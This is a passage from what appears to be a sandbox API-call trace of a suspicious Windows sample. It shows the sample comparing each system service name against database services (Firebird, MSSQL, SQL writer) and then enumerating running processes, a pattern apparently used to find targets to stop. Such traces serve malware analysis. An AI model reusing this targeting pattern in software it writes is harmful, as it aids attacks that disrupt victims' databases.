(lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0133.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0133.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0133.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0133.284] lstrlenW (lpString="DPS") returned 3 [0133.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0133.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0133.284] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0133.284] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0133.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0133.284] lstrlenW (lpString="DusmSvc") returned 7 [0133.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0133.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0133.284] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0133.284] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0133.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0133.284] lstrlenW (lpString="EventLog") returned 8 [0133.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0133.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0133.284] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0133.284] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0133.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0133.284] lstrlenW (lpString="EventSystem") returned 11 [0133.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0133.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0133.284] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0133.284] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0133.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0133.285] lstrlenW (lpString="FontCache") returned 9 [0133.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0133.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0133.285] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0133.285] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0133.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0133.285] lstrlenW (lpString="gpsvc") returned 5 [0133.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0133.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0133.285] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0133.285] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0133.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0133.285] lstrlenW (lpString="iphlpsvc") returned 8 [0133.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.285] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0133.285] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0133.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0133.285] lstrlenW (lpString="KeyIso") returned 6 [0133.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0133.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0133.285] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0133.285] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0133.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0133.285] lstrlenW (lpString="LanmanServer") returned 12 [0133.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0133.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0133.285] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0133.285] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0133.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0133.285] lstrlenW (lpString="LanmanWorkstation") returned 17 [0133.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.285] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0133.285] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0133.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0133.286] lstrlenW (lpString="lfsvc") returned 5 [0133.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0133.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0133.286] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0133.286] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0133.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0133.286] lstrlenW (lpString="lmhosts") returned 7 [0133.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0133.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0133.286] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0133.286] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0133.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0133.286] lstrlenW (lpString="LSM") returned 3 [0133.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0133.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0133.286] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0133.286] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0133.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0133.286] lstrlenW (lpString="MpsSvc") returned 6 [0133.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0133.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0133.286] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0133.286] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0133.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0133.286] lstrlenW (lpString="NcbService") returned 10 [0133.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0133.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0133.286] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0133.286] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0133.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0133.286] lstrlenW (lpString="netprofm") returned 8 [0133.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0133.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0133.286] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0133.286] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0133.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0133.287] lstrlenW (lpString="NgcSvc") returned 6 [0133.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0133.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0133.287] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0133.287] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0133.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0133.287] lstrlenW (lpString="NlaSvc") returned 6 [0133.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0133.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0133.287] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0133.287] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0133.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0133.287] lstrlenW (lpString="nsi") returned 3 [0133.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0133.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0133.287] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0133.287] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0133.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0133.287] lstrlenW (lpString="PcaSvc") returned 6 [0133.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0133.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0133.287] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0133.287] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0133.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0133.287] lstrlenW (lpString="PlugPlay") returned 8 [0133.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0133.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0133.287] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0133.287] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0133.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0133.287] lstrlenW (lpString="Power") returned 5 [0133.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0133.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0133.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0133.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0133.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0133.288] lstrlenW (lpString="ProfSvc") returned 7 [0133.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0133.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0133.288] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0133.288] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0133.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0133.288] lstrlenW (lpString="RpcEptMapper") returned 12 [0133.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.288] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0133.288] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0133.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0133.288] lstrlenW (lpString="RpcSs") returned 5 [0133.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0133.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0133.288] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0133.288] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0133.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0133.288] lstrlenW (lpString="SamSs") returned 5 [0133.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0133.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0133.288] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0133.288] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0133.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0133.288] lstrlenW (lpString="Schedule") returned 8 [0133.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0133.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0133.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0133.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0133.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0133.288] lstrlenW (lpString="SecurityHealthService") returned 21 [0133.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0133.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0133.288] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0133.288] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0133.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0133.289] lstrlenW (lpString="SENS") returned 4 [0133.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0133.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0133.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0133.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0133.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0133.289] lstrlenW (lpString="ShellHWDetection") returned 16 [0133.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.289] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0133.289] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0133.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0133.289] lstrlenW (lpString="Spooler") returned 7 [0133.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0133.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0133.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0133.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0133.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0133.289] lstrlenW (lpString="StateRepository") returned 15 [0133.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0133.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0133.289] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0133.289] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0133.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0133.289] lstrlenW (lpString="SysMain") returned 7 [0133.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0133.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0133.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0133.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0133.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0133.289] lstrlenW (lpString="SystemEventsBroker") returned 18 [0133.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0133.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0133.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0133.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0133.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0133.289] lstrlenW (lpString="Themes") returned 6 [0133.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0133.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0133.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0133.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0133.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0133.290] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0133.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0133.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0133.290] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0133.290] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0133.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0133.290] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0133.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0133.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0133.290] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0133.290] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0133.290] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a1a68 | out: hHeap=0x510000) returned 1 [0133.290] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x538 [0133.537] Process32FirstW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.538] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.538] lstrlenW (lpString="System") returned 6 [0133.538] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.539] lstrlenW (lpString="smss.exe") returned 8 [0133.539] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.540] lstrlenW (lpString="csrss.exe") returned 9 [0133.540] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.540] lstrlenW (lpString="wininit.exe") returned 11 [0133.540] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.541] lstrlenW (lpString="csrss.exe") returned 9 [0133.541] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.542] lstrlenW (lpString="winlogon.exe") returned 12 [0133.542] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.542] lstrlenW (lpString="services.exe") returned 12 [0133.542] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.543] lstrlenW (lpString="lsass.exe") returned 9 [0133.543] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.544] lstrlenW (lpString="svchost.exe") returned 11 [0133.544] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0133.544] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0133.545] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0133.545] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0133.545] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.546] lstrlenW (lpString="svchost.exe") returned 11 [0133.546] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.547] lstrlenW (lpString="dwm.exe") returned 7 [0133.547] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.547] lstrlenW (lpString="svchost.exe") returned 11 [0133.547] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.548] lstrlenW (lpString="svchost.exe") returned 11 [0133.548] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.549] lstrlenW (lpString="svchost.exe") returned 11 [0133.549] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.552] lstrlenW (lpString="svchost.exe") returned 11 [0133.552] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.553] lstrlenW (lpString="svchost.exe") returned 11 [0133.553] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.553] lstrlenW (lpString="svchost.exe") returned 11 [0133.553] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.554] lstrlenW (lpString="svchost.exe") returned 11 [0133.554] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.555] lstrlenW (lpString="svchost.exe") returned 11 [0133.555] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.571] lstrlenW (lpString="svchost.exe") returned 11 [0133.571] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 